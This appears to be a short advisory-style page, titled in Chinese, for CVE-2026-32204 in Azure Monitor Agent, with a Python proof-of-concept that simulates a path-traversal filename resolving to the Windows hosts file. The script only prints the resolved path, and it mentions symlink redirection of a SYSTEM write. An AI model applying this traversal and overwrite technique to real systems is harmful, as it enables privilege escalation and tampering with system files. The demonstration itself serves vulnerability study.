CVE-2026-32204 Azure Monitor Agent 权限提升漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-32204: Azure Monitor Agent Privilege Escalation # This script simulates the path manipulation technique. # Exploitation requires write access to a path monitored/used by the Agent. import os # Simulating a vulnerable log path that the Agent tries to write to vulnerable_log_dir = "C:\ProgramData\AzureMonitorAgent\Logs" malicious_filename = "../../Windows/System32/drivers/etc/hosts" print("[*] Attempting to simulate path manipulation...") # Construct the full path based on user input (simulating the vulnerability) full_path = os.path.join(vulnerable_log_dir, malicious_filename) # Normalize the path to resolve the traversal resolved_path = os.path.normpath(full_path) print(f"[*] Vulnerable Base Directory: {vulnerable_log_dir}") print(f"[*] Malicious File Name Input: {malicious_filename}") print(f"[!] Resolved Absolute Path: {resolved_path}") print("\n[*] If the Azure Monitor Agent runs as SYSTEM and writes to this path,") print(" it could overwrite system files (e.g., hosts file) leading to privilege escalation.") # In a real attack, the attacker would ensure this file/directory structure exists # or uses a symlink to redirect the write operation.